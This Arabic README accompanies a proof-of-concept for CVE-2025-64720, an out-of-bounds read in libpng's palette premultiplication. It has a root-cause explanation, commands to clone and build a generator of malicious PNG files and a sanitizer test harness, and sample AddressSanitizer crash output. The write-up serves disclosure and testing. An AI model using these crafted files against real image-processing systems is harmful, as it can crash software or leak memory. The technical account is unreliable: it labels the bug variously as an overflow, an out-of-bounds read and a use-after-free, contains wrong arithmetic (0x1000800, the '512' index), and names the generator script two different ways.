
إثبات مفهوم لاستغلال CVE-2025-64720، وهو تجاوز سعة المخزن المؤقت في libpng أثناء عملية الضرب المسبق للوحة الألوان. يتضمن مولد استغلال، إطار اختبار مع ASan/UBSan، وتحليل فني مفصل للثغرة الأمنية من نوع use-after-free في الكومة (heap-use-after-free).
الحالة: تم التصحيح
الخطورة: عالية
معرّف CVE: CVE-2025-64720
تاريخ الاكتشاف: 2025-11-XX
الإفصاح العام: 2025-11-21
توجد ثغرة قراءة خارج الحدود في دالة png_image_read_composite في مكتبة libpng عند معالجة صور اللوحة مع تمكين PNG_FLAG_OPTIMIZE_ALPHA. يقوم كود تركيب اللوحة في png_init_read_transformations بتطبيق التركيب الخلفي بشكل غير صحيح أثناء الضرب المسبق، مما ينتهك الثابت component ≤ alpha × 257 المطلوب بواسطة واجهة برمجة التطبيقات المبسّطة PNG، مما يؤدي إلى تلف الذاكرة.
في png_init_read_transformations عند السطر ~1336، يقوم كود توسيع اللوحة بتنفيذ:
component += (255-alpha)*png_sRGB_table[outrow[c]];
ينتج عن هذه العملية قيم component تصل إلى 16,776,960 (0x1000800)، حيث (component >> 15) == 512. تقوم الماكرو PNG_sRGB_FROM_LINEAR اللاحق في png_image_read_composite بتنفيذ وصول إلى مصفوفة خارج الحدود:
png_sRGB_base[component>>15] // الوصول إلى png_sRGB_base[512]
png_sRGB_delta[component>>15] // الوصول إلى png_sRGB_delta[512]
// كلا المصفوفتين تحتويان على فهارس 0-511 فقط (الحجم 512)
تحدث المشكلة عندما:
PNG_FLAG_OPTIMIZE_ALPHA داخليًاpngread.c, pngtrans.cpng_image_read_composite, png_init_read_transformationsالمتوقع: component ≤ alpha × 257
يضمن أن (component >> 15) ≤ 511 (ضمن حدود المصفوفة)
الواقع: component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
مع alpha=0, RGB=255: يمكن أن يتجاوز component الحدود المتوقعة
النتيجة: (component >> 15) قد يساوي 512 (وصول خارج الحدود)
# الطريقة 1: pkg-config
pkg-config --modversion libpng
# الطريقة 2: استعلام المكتبة مباشرة
libpng-config --version
# الطريقة 3: فحص الملف الثنائي
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# الطريقة 4: من المصدر
grep PNG_LIBPNG_VER_STRING png.h
يمكن للمهاجم استغلال هذه الثغرة عن طريق صياغة ملف PNG ضار بخصائص محددة:
متطلبات الهجوم:
png_image_*)خطوات الهجوم:
PNG_FLAG_OPTIMIZE_ALPHA داخليًانتيجة الهجوم:
png_sRGB_base أو png_sRGB_delta┌─────────────────┐
│ png_sRGB_base │ فهارس المصفوفة: 0-511 (512 إدخال)
│ [512 entries] │ الوصول الصالح: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access] │ الفهرس 512 ← الوصول المعرض للخطر عندما component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta │ فهارس المصفوفة: 0-511 (512 إدخال)
│ [512 entries] │ أيضاً معرض لنفس الوصول خارج الحدود
├─────────────────┤
│ الذاكرة المجاورة │ احتمال تسريب معلومات
└─────────────────┘
الحساب الذي يسبب الفيضان:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
عندما alpha=0 و palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (خارج الحدود!)
الشروط المطلوبة:
png_image_finish_read)العوامل الاختيارية:
PNG_FORMAT_FLAG_AFIRST يزيد من احتمالية التعطلالشروط التي لا تؤدي إلى التشغيل:
# استنساخ المستودع
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# إنشاء الصور
python3 generate-images.py
# بناء الاختبار
chmod +x build.sh
./build.sh
# تشغيل الاستغلال (يتطلب libpng ضعيف < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)يقوم بإنشاء ملفات PNG ضارة تؤدي إلى تشغيل الثغرة.
الاستخدام:
python3 generate_poc.py
المخرجات:
exploit_v1.png - صورة 8×8، لوحة بيضاء موحدة، ألفا صفريةexploit_v2.png - صورة 8×8، تباين استراتيجي في اللوحةexploit_v3.png - صورة 64×64، كبيرة مع أنماط متكررةexploit_v4.png - صورة 4×4، حالة دنيا مع ألفا صفرية كاملةالخيارات:
# إنشاء متغير معين
generate_malicious_png('custom.png', variant=2)
# المتغيرات:
# 1: قيم RGB قصوى مع ألفا صفرية (موثوق)
# 2: لوحة استراتيجية مصممة لأقصى فيضان
# 3: صورة أكبر مع أنماط تشغيل متكررة
# 4: حالة دنيا تستهدف تجاوز المخزن المؤقت العام
test.c)يقوم بمعالجة ملفات PNG باستخدام واجهة برمجة التطبيقات المبسّطة ويوضح الثغرة.
التجميع:
# مع AddressSanitizer (موصى به - أفضل كشف)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# مع UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# مع رموز التصحيح
gcc -o test_debug test.c -lpng -g -O0
# من أجل Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
الميزات:
على الإصدار الضعيف (libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 تم الكشف (إصدار ضعيف)
=== اختبار: exploit_v1.png ===
الملف: exploit_v1.png
التنسيق الأصلي: 0xb
الصورة: 8×8
محاولة التنسيق: PNG_FORMAT_RGBA (0x3)
حجم المخزن المؤقت: 256 بايت
استدعاء png_image_finish_read...
نجاح - اكتملت القراءة
أول بيكسل RGBA: ff ff ff 00
محاولة التنسيق: PNG_FORMAT_ARGB (0x23)
حجم المخزن المؤقت: 256 بايت
استدعاء png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 0x000102b4da24 in png_safe_execute pngerror.c:944
#1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
#2 0x000102b34ecc in test_png test.c:64
#3 0x000102b35410 in main test.c:97
0x604000000520 يقع 16 بايت داخل منطقة 48 بايت [0x604000000510,0x604000000540)
تم تحريرها بواسطة الخيط T0 هنا:
#0 0x000103245480 in free+0x7c
#1 0x000102b566b4 in png_free_default pngmem.c:252
[تتبع المكدس مستمر...]